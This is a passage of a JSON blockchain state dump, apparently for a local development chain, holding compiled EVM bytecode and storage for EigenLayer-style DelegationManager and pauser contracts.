b2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b6040516360f4062b60e01b81526001600160a01b03828116600483015260609182916000917f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6909116906360f4062b90602401602060405180830381865afa158015611c2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c529190615605565b6040516394f649dd60e01b81526001600160a01b03868116600483015291925060009182917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9909116906394f649dd90602401600060405180830381865afa158015611cc2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611cea919081019061567c565b9150915060008313611d0157909590945092505050565b6060808351600003611dba576040805160018082528183019092529060208083019080368337505060408051600180825281830190925292945090506020808301908036833701905050905073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac082600081518110611d7557611d756152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508481600081518110611da957611da96152db565b602002602001018181525050611f68565b8351611dc7906001615753565b6001600160401b03811115611dde57611dde614be6565b604051908082528060200260200182016040528015611e07578160200160208202803683370190505b50915081516001600160401b03811115611e2357611e23614be6565b604051908082528060200260200182016040528015611e4c578160200160208202803683370190505b50905060005b8451811015611ee657848181518110611e6d57611e6d6152db565b6020026020010151838281518110611e8757611e876152db565b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110611eb957611eb96152db565b6020026020010151828281518110611ed357611ed36152db565b6020908102919091010152600101611e52565b5073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac08260018451611f0b9190615766565b81518110611f1b57611f1b6152db565b60200260200101906001600160a01b031690816001600160a01b031681525050848160018451611f4b9190615766565b81518110611f5b57611f5b6152db565b6020026020010181815250505b9097909650945050505050565b606654606090600190600290811603611fa05760405162461bcd60e51b8152600401610ab5906152f1565b611fa98361153f565b6120295760405162461bcd60e51b8152602060048201526044602482018190527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a207374908201527f616b6572206d7573742062652064656c65676174656420746f20756e64656c656064820152636761746560e01b608482015260a401610ab5565b61203283611700565b156120a55760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a206f7060448201527f657261746f72732063616e6e6f7420626520756e64656c6567617465640000006064820152608401610ab5565b6001600160a01b0383166121215760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6e6e6f7420756e64656c6567617465207a65726f2061646472657373000000006064820152608401610ab5565b6001600160a01b038084166000818152609a6020526040902054909116903314806121545750336001600160a01b038216145b8061217b57506001600160a01b038181166000908152609960205260409020600101541633145b6121ed5760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6c6c65722063616e6e6f7420756e64656c6567617465207374616b65720000006064820152608401610ab5565b6000806121f986611bbe565b9092509050336001600160a01b0387161461224f57826001600160a01b0316866001600160a01b03167ff0eddf07e6ea14f388b47e1e94a0f464ecbd9eed4171130e0fc0e99fb4030a8a60405160405180910390a35b826001600160a01b0316866001600160a01b03167ffee30966a256b71e14bc0ebfc94315e28ef4a97a7131a9e2b7a310a73af4467660405160405180910390a36001600160a01b0386166000908152609a6020526040812080546001600160a01b0319169055825190036122d3576040805160008152602081019091529450612425565b81516001600160401b038111156122ec576122ec614be6565b604051908082528060200260200182016040528015612315578160200160208202803683370190505b50945060005b82518110156124235760408051600180825281830190925260009160208083019080368337505060408051600180825281830190925292935060009291506020808301908036833701905050905084838151811061237b5761237b6152db565b602002602001015182600081518110612396576123966152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508383815181106123c8576123c86152db565b6020026020010151816000815181106123e3576123e36152db565b6020026020010181815250506123fc89878b85856127eb565b88848151811061240e5761240e6152db565b6020908102919091010152505060010161231b565b505b50505050919050565b6124373361153f565b156124b55760405162461bcd60e51b815260206004820152604260248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a20737460448201527f616b657220697320616c7265616479206163746976656c792064656c65676174606482015261195960f21b608482015260a401610ab5565b6124be83611700565b61253f5760405162461bcd60e51b815260206004820152604660248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a206f7060448201527f657261746f72206973206e6f74207265676973746572656420696e2045696765606482015265372630bcb2b960d11b608482015260a401610ab5565b61109233848484612fa0565b61255433611700565b6125d25760405162461bcd60e51b815260206004820152604360248201527f44656c65676174696f6e4d616e616765722e6d6f646966794f70657261746f7260448201527f44657461696c733a2063616c6c6572206d75737420626520616e206f706572616064820152623a37b960e91b608482015260a401610ab5565b610fdd3382612dad565b6125e46133a7565b6001600160a01b0381166126495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab5565b610fdd816137a2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603612682575060975490565b61268a61370b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127069190615417565b6001600160a01b0316336001600160a01b0316146127365760405162461bcd60e51b8152600401610ab590615434565b6066541981196066541916146127b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016111cb565b60006001600160a01b0386166128825760405162461bcd60e51b815260206004820152605060248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374616b65722063616e6e6f7460648201526f206265207a65726f206164647265737360801b608482015260a401610ab5565b825160000361290f5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374726174656769657320636160648201526c6e6e6f7420626520656d70747960981b608482015260a401610ab5565b60005b8351811015612cbb576001600160a01b03861615612968576129688688868481518110612941576129416152db565b602002602001015186858151811061295b5761295b6152db565b602002602001015161332c565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06001600160a01b0316848281518110612998576129986152db565b60200260200101516001600160a01b031603612a60577f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031663beffbb89888584815181106129f0576129f06152db565b60200260200101516040518363ffffffff1660e01b8152600401612a299291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050612cb3565b846001600160a01b0316876001600160a01b03161480612b3257507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316639b4da03d858381518110612abc57612abc6152db565b60200260200101516040518263ffffffff1660e01b8152600401612aef91906001600160a01b0391909116815260200190565b602060405180830381865afa158015612b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3091906154db565b155b612bfe5760405162461bcd60e51b8152602060048201526084602482018190527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448301527f6e6451756575655769746864726177616c3a2077697468647261776572206d7560648301527f73742062652073616d652061646472657373206173207374616b657220696620908201527f746869726450617274795472616e7366657273466f7262696464656e2061726560a482015263081cd95d60e21b60c482015260e401610ab5565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316638c80d4e588868481518110612c4057612c406152db565b6020026020010151868581518110612c5a57612c5a6152db565b60200260200101516040518463ffffffff1660e01b8152600401612c8093929190615779565b600060405180830381600087803b158015612c9a57600080fd5b505af1158015612cae573d6000803e3d6000fd5b505050505b600101612912565b506001600160a01b0386166000908152609f60205260408120805491829190612ce38361579d565b919050555060006040518060e00160405280896001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b031681526020018381526020014363ffffffff1681526020018681526020018581525090506000612d4b82611626565b6000818152609e602052604090819020805460ff19166001179055519091507f9009ab153e8014fbfb02f2217f5cde7aa7f9ad734ae85ca3ee3f4ca2fdd499f990612d9990839085906157b6565b60405180910390a198975050505050505050565b6213c680612dc160608301604084016157cf565b63ffffffff161115612e765760405162461bcd60e51b815260206004820152606c60248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527f63616e6e6f74206265203e204d41585f5354414b45525f4f50545f4f55545f5760848201526b494e444f575f424c4f434b5360a01b60a482015260c401610ab5565b6001600160a01b0382166000908152609960205260409081902060010154600160a01b900463ffffffff1690612eb290606084019084016157cf565b63ffffffff161015612f485760405162461bcd60e51b815260206004820152605360248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527218d85b9b9bdd08189948191958dc99585cd959606a1b608482015260a401610ab5565b6001600160a01b03821660009081526099602052604090208190612f6c828261580c565b505060405133907ffebe5cd24b2cbc7b065b9d0fdeb904461e4afcff57dd57acda1e7832031ba7ac90611af9908490615391565b606654600090600190811603612fc85760405162461bcd60e51b8152600401610ab5906152f1565b6001600160a01b03808516600090815260996020526040902060010154168015801590612ffe5750336001600160a01b03821614155b80156130135750336001600160a01b03861614155b156131805742846020015110156130925760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f766572207369676e617475726520657870697265640000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845290915290205460ff161561312c5760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f76657253616c7420616c7265616479207370656e740000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845282528220805460ff1916600117905585015161316d9088908890859088906109c8565b905061317e82828760000151614152565b505b6001600160a01b038681166000818152609a602052604080822080546001600160a01b031916948a169485179055517fc3ee9f2e5fda98e8066a1f745b2df9285f416fe98cf2559cd21484b3d87433049190a36000806131df88611bbe565b9150915060005b82518110156113515761322d888a858481518110613206576132066152db565b6020026020010151858581518110613220576132206152db565b60200260200101516138ee565b6001016131e6565b6001600160a01b0381166132c35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610ab5565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613363908490615766565b92505081905550836001600160a01b03167f6909600037b75d7b4733aedd815442b5ec018a827751c832aaff64eba5d6d2dd848484604051610f1f93929190615779565b6033546001600160a01b031633146117335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab5565b8281146134895760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a20696e707574206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a401610ab5565b8260005b818110156136195760008686838181106134a9576134a96152db565b90506020020160208101906134be919061499b565b6001600160a01b038116600090815260a160205260408120549192508686858181106134ec576134ec6152db565b90506020020135905062034bc08111156135b05760405162461bcd60e51b815260206004820152607360248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a205f7769746864726177616c60648201527f44656c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544860848201527244524157414c5f44454c41595f424c4f434b5360681b60a482015260c401610ab5565b6001600160a01b038316600081815260a160209081526040918290208490558151928352820184905281018290527f0e7efa738e8b0ce6376a0c1af471655540d2e9a81647d7b09ed823018426576d9060600160405180910390a150505080600101905061348d565b505050505050565b6065546001600160a01b031615801561364257506001600160a01b03821615155b6136c45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261370782613235565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62034bc08111156138ad5760405162461bcd60e51b815260206004820152607160248201527f44656c65676174696f6e4d616e616765722e5f7365744d696e5769746864726160448201527f77616c44656c6179426c6f636b733a205f6d696e5769746864726177616c446560648201527f6c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544844526084820152704157414c5f44454c41595f424c4f434b5360781b60a482015260c401610ab5565b609d5460408051918252602082018390527fafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69910160405180910390a1609d55565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613925908490615753565b92505081905550836001600160a01b03167f1ec042c965e2edd7107b51188ee0f383e22e76179041ab3a9d18ff151405166c848484604051610f1f93929190615779565b60006139776105f38761586f565b6000818152609e602052604090205490915060ff166139f85760405162461bcd60e51b8152602060048201526043602482015260008051602061599983398151915260448201527f645769746864726177616c3a20616374696f6e206973206e6f7420696e20717560648201526265756560e81b608482015260a401610ab5565b609d544390613a0d60a0890160808a016157cf565b63ffffffff16613a1d9190615753565b1115613aa55760405162461bcd60e51b815260206004820152605f602482015260008051602061599983398151915260448201527f645769746864726177616c3a206d696e5769746864726177616c44656c61794260648201527f6c6f636b7320706572696f6420686173206e6f74207965742070617373656400608482015260a401610ab5565b613ab5606087016040880161499b565b6001600160a01b0316336001600160a01b031614613b425760405162461bcd60e51b8152602060048201526050602482015260008051602061599983398151915260448201527f645769746864726177616c3a206f6e6c7920776974686472617765722063616e60648201526f1031b7b6b83632ba329030b1ba34b7b760811b608482015260a401610ab5565b8115613bc457613b5560a0870187615348565b85149050613bc45760405162461bcd60e51b8152602060048201526042602482015260008051602061599983398151915260448201527f645769746864726177616c3a20696e707574206c656e677468206d69736d61746064820152610c6d60f31b608482015260a401610ab5565b6000818152609e60205260409020805460ff191690558115613d295760005b613bf060a0880188615348565b9050811015613d23574360a16000613c0b60a08b018b615348565b85818110613c1b57613c1b6152db565b9050602002016020810190613c30919061499b565b6001600160a01b03168152602081019190915260400160002054613c5a60a08a0160808b016157cf565b63ffffffff16613c6a9190615753565b1115613c885760405162461bcd60e51b8152600401610ab59061587b565b613d1b613c98602089018961499b565b33613ca660a08b018b615348565b85818110613cb657613cb66152db565b9050602002016020810190613ccb919061499b565b613cd860c08c018c615348565b86818110613ce857613ce86152db565b905060200201358a8a87818110613d0157613d016152db565b9050602002016020810190613d16919061499b565b61430c565b600101613be3565b50614117565b336000908152609a60205260408120546001600160a01b0316905b613d5160a0890189615348565b9050811015614114574360a16000613d6c60a08c018c615348565b85818110613d7c57613d7c6152db565b9050602002016020810190613d91919061499b565b6001600160a01b03168152602081019190915260400160002054613dbb60a08b0160808c016157cf565b63ffffffff16613dcb9190615753565b1115613de95760405162461bcd60e51b8152600401610ab59061587b565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0613e0b60a08a018a615348565b83818110613e1b57613e1b6152db565b9050602002016020810190613e30919061499b565b6001600160a01b031603613f7f576000613e4d60208a018a61499b565b905060006001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616630e81073c83613e8e60c08e018e615348565b87818110613e9e57613e9e6152db565b6040516001600160e01b031960e087901b1681526001600160a01b03909416600485015260200291909101356024830152506044016020604051808303816000875af1158015613ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f169190615605565b6001600160a01b038084166000908152609a6020526040902054919250168015613f7757613f778184613f4c60a08f018f615348565b88818110613f5c57613f5c6152db565b9050602002016020810190613f71919061499b565b856138ee565b50505061410c565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b031663c4623ea133898985818110613fc157613fc16152db565b9050602002016020810190613fd6919061499b565b613fe360a08d018d615348565b86818110613ff357613ff36152db565b9050602002016020810190614008919061499b565b61401560c08e018e615348565b87818110614025576140256152db565b60405160e088901b6001600160e01b03191681526001600160a01b03968716600482015294861660248601529290941660448401526020909102013560648201526084019050600060405180830381600087803b15801561408557600080fd5b505af1158015614099573d6000803e3d6000fd5b505050506001600160a01b0382161561410c5761410c82336140be60a08c018c615348565b858181106140ce576140ce6152db565b90506020020160208101906140e3919061499b565b6140f060c08d018d615348565b86818110614100576141006152db565b905060200201356138ee565b600101613d44565b50505b6040518181527fc97098c2f658800b4df29001527f7324bcdffcf6e8751a699ab920a1eced5b1d9060200160405180910390a1505050505050565b6001600160a01b0383163b1561426c57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e906141929086908690600401615903565b602060405180830381865afa1580156141af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141d39190615958565b6001600160e01b031916146110925760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610ab5565b826001600160a01b0316614280838361444c565b6001600160a01b0316146110925760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610ab5565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeabf196001600160a01b038416016143b75760405162387b1360e81b81526001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6169063387b13009061438090889088908790600401615779565b600060405180830381600087803b15801561439a57600080fd5b505af11580156143ae573d6000803e3d6000fd5b50505050614445565b60405163c608c7f360e01b81526001600160a01b03858116600483015284811660248301526044820184905282811660648301527f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9169063c608c7f390608401600060405180830381600087803b15801561443157600080fd5b505af1158015611351573d6000803e3d6000fd5b5050505050565b600080600061445b8585614468565b915091506109be816144d6565b600080825160410361449e5760208301516040840151606085015160001a6144928782858561468c565b945094505050506144cf565b82516040036144c757602083015160408401516144bc868383614779565b9350935050506144cf565b506000905060025b9250929050565b60008160048111156144ea576144ea615982565b036144f25750565b600181600481111561450657614506615982565b036145535760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610ab5565b600281600481111561456757614567615982565b036145b45760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610ab5565b60038160048111156145c8576145c8615982565b036146205760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610ab5565b600481600481111561463457614634615982565b03610fdd5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610ab5565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156146c35750600090506003614770565b8460ff16601b141580156146db57508460ff16601c14155b156146ec5750600090506004614770565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614740573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661476957600060019250925050614770565b9150600090505b94509492505050565b6000806001600160ff1b0383168161479660ff86901c601b615753565b90506147a48782888561468c565b935093505050935093915050565b60008083601f8401126147c457600080fd5b5081356001600160401b038111156147db57600080fd5b6020830191508360208260051b85010111156144cf57600080fd5b6000806020838503121561480957600080fd5b82356001600160401b0381111561481f57600080fd5b61482b858286016147b2565b90969095509350505050565b6001600160a01b0381168114610fdd57600080fd5b803561485781614837565b919050565b600080600080600060a0868803121561487457600080fd5b853561487f81614837565b9450602086013561488f81614837565b9350604086013561489f81614837565b94979396509394606081013594506080013592915050565b602080825282518282018190526000918401906040840190835b81811015610ddd5783518352602093840193909201916001016148d1565b60006060828403121561490157600080fd5b50919050565b60008083601f84011261491957600080fd5b5081356001600160401b0381111561493057600080fd5b6020830191508360208285010111156144cf57600080fd5b60008060006080848603121561495d57600080fd5b61496785856148ef565b925060608401356001600160401b0381111561498257600080fd5b61498e86828701614907565b9497909650939450505050565b6000602082840312156149ad57600080fd5b81356149b881614837565b9392505050565b6000806000606084860312156149d457600080fd5b83356149df81614837565b925060208401356149ef81614837565b929592945050506040919091013590565b600060208284031215614a1257600080fd5b5035919050565b60008060008060408587031215614a2f57600080fd5b84356001600160401b03811115614a4557600080fd5b614a51878288016147b2565b90955093505060208501356001600160401b03811115614a7057600080fd5b614a7c878288016147b2565b95989497509550505050565b60008060008060008060008060c0898b031215614aa457600080fd5b8835614aaf81614837565b97506020890135614abf81614837565b9650604089013595506060890135945060808901356001600160401b03811115614ae857600080fd5b614af48b828c016147b2565b90955093505060a08901356001600160401b03811115614b1357600080fd5b614b1f8b828c016147b2565b999c989b5096995094979396929594505050565b6000806000806000806000806080898b031215614b4f57600080fd5b88356001600160401b03811115614b6557600080fd5b614b718b828c016147b2565b90995097505060208901356001600160401b03811115614b9057600080fd5b614b9c8b828c016147b2565b90975095505060408901356001600160401b03811115614bbb57600080fd5b614bc78b828c016147b2565b90955093505060608901356001600160401b03811115614b1357600080fd5b634e487b7160e01b600052604160045260246000fd5b60405160e081016001600160401b0381118282101715614c1e57614c1e614be6565b60405290565b604080519081016001600160401b0381118282101715614c1e57614c1e614be6565b604051601f8201601f191681016001600160401b0381118282101715614c6e57614c6e614be6565b604052919050565b63ffffffff81168114610fdd57600080fd5b803561485781614c76565b60006001600160401b03821115614cac57614cac614be6565b5060051b60200190565b600082601f830112614cc757600080fd5b8135614cda614cd582614c93565b614c46565b8082825260208201915060208360051b860101925085831115614cfc57600080fd5b602085015b83811015614d22578035614d1481614837565b835260209283019201614d01565b5095945050505050565b600082601f830112614d3d57600080fd5b8135614d4b614cd582614c93565b8082825260208201915060208360051b860101925085831115614d6d57600080fd5b602085015b83811015614d22578035835260209283019201614d72565b600060e08284031215614d9c57600080fd5b614da4614bfc565b9050614daf8261484c565b8152614dbd6020830161484c565b6020820152614dce6040830161484c565b604082015260608281013590820152614de960808301614c88565b608082015260a08201356001600160401b03811115614e0757600080fd5b614e1384828501614cb6565b60a08301525060c08201356001600160401b03811115614e3257600080fd5b614e3e84828501614d2c565b60c08301525092915050565b600060208284031215614e5c57600080fd5b81356001600160401b03811115614e7257600080fd5b614e7e84828501614d8a565b949350505050565b600060208284031215614e9857600080fd5b813560ff811681146149b857600080fd5b8015158114610fdd57600080fd5b600080600080600060808688031215614ecf57600080fd5b85356001600160401b03811115614ee557600080fd5b860160e08189031215614ef757600080fd5b945060208601356001600160401b03811115614f1257600080fd5b614f1e888289016147b2565b909550935050604086013591506060860135614f3981614ea9565b809150509295509295909350565b60008060408385031215614f5a57600080fd5b8235614f6581614837565b91506020830135614f7581614837565b809150509250929050565b600060408284031215614f9257600080fd5b614f9a614c24565b905081356001600160401b03811115614fb257600080fd5b8201601f81018413614fc357600080fd5b80356001600160401b03811115614fdc57614fdc614be6565b614fef601f8201601f1916602001614c46565b81815285602083850101111561500457600080fd5b81602084016020830137600060209282018301528352928301359282019290925292915050565b600080600080600060a0868803121561504357600080fd5b853561504e81614837565b9450602086013561505e81614837565b935060408601356001600160401b0381111561507957600080fd5b61508588828901614f80565b93505060608601356001600160401b038111156150a157600080fd5b6150ad88828901614f80565b95989497509295608001359392505050565b600080604083850312156150d257600080fd5b82356150dd81614837565b915060208301356001600160401b038111156150f857600080fd5b61510485828601614cb6565b9150509250929050565b600081518084526020840193506020830160005b82811015615140578151865260209586019590910190600101615122565b5093949350505050565b6020815260006149b8602083018461510e565b6000806020838503121561517057600080fd5b82356001600160401b0381111561518657600080fd5b61482b85828601614907565b600080604083850312156151a557600080fd5b82356151b081614837565b946020939093013593505050565b600080600080608085870312156151d457600080fd5b84356151df81614837565b93506020850135925060408501356151f681614837565b9396929550929360600135925050565b600081518084526020840193506020830160005b828110156151405781516001600160a01b031686526020958601959091019060010161521a565b6040815260006152546040830185615206565b828103602084015261120f818561510e565b60008060006060848603121561527b57600080fd5b833561528681614837565b925060208401356001600160401b038111156152a157600080fd5b6152ad86828701614f80565b93969395505050506040919091013590565b6000606082840312156152d157600080fd5b6149b883836148ef565b634e487b7160e01b600052603260045260246000fd5b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b60008235605e1983360301811261533e57600080fd5b9190910192915050565b6000808335601e1984360301811261535f57600080fd5b8301803591506001600160401b0382111561537957600080fd5b6020019150600581901b36038213156144cf57600080fd5b6060810182356153a081614837565b6001600160a01b0316825260208301356153b981614837565b6001600160a01b0316602083015260408301356153d581614c76565b63ffffffff811660408401525092915050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b60006020828403121561542957600080fd5b81516149b881614837565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60208082526037908201527f44656c65676174696f6e4d616e616765723a206f6e6c7953747261746567794d60408201527f616e616765724f72456967656e506f644d616e61676572000000000000000000606082015260800190565b6000602082840312156154ed57600080fd5b81516149b881614ea9565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000823560de1983360301811261533e57600080fd5b60006020828403121561556857600080fd5b81356149b881614ea9565b80516001600160a01b03908116835260208083015182169084015260408083015190911690830152606080820151908301526080808201516000916155bf9085018263ffffffff169052565b5060a082015160e060a08501526155d960e0850182615206565b905060c083015184820360c086015261120f828261510e565b6020815260006149b86020830184615573565b60006020828403121561561757600080fd5b5051919050565b600082601f83011261562f57600080fd5b815161563d614cd582614c93565b8082825260208201915060208360051b86010192508583111561565f57600080fd5b602085015b83811015614d22578051835260209283019201615664565b6000806040838503121561568f57600080fd5b82516001600160401b038111156156a557600080fd5b8301601f810185136156b657600080fd5b80516156c4614cd582614c93565b8082825260208201915060208360051b8501019250878311156156e657600080fd5b6020840193505b8284101561571157835161570081614837565b8252602093840193909101906156ed565b8095505050505060208301516001600160401b0381111561573157600080fd5b6151048582860161561e565b634e487b7160e01b600052601160045260246000fd5b808201808211156109c2576109c261573d565b818103818111156109c2576109c261573d565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000600182016157af576157af61573d565b5060010190565b828152604060208201526000614e7e6040830184615573565b6000602082840312156157e157600080fd5b81356149b881614c76565b80546001600160a01b0319166001600160a01b0392909216919091179055565b813561581781614837565b61582181836157ec565b5060018101602083013561583481614837565b61583e81836157ec565b50604083013561584d81614c76565b815463ffffffff60a01b191660a09190911b63ffffffff60a01b161790555050565b60006109c23683614d8a565b6020808252606e9082015260008051602061599983398151915260408201527f645769746864726177616c3a207769746864726177616c44656c6179426c6f6360608201527f6b7320706572696f6420686173206e6f74207965742070617373656420666f7260808201526d207468697320737472617465677960901b60a082015260c00190565b828152604060208201526000825180604084015260005b81811015615937576020818601810151606086840101520161591a565b506000606082850101526060601f19601f8301168401019150509392505050565b60006020828403121561596a57600080fd5b81516001600160e01b0319811681146149b857600080fd5b634e487b7160e01b600052602160045260246000fdfe44656c65676174696f6e4d616e616765722e5f636f6d706c6574655175657565a2646970667358221220cbe856cde7c5bcfd582d4b89705de7c9eaac9afdc5d0cafafaf46a903a95abd164736f6c634300081b0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0xa82ff9afd8f496c3d6ac40e2a0f282e47488cfc9":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205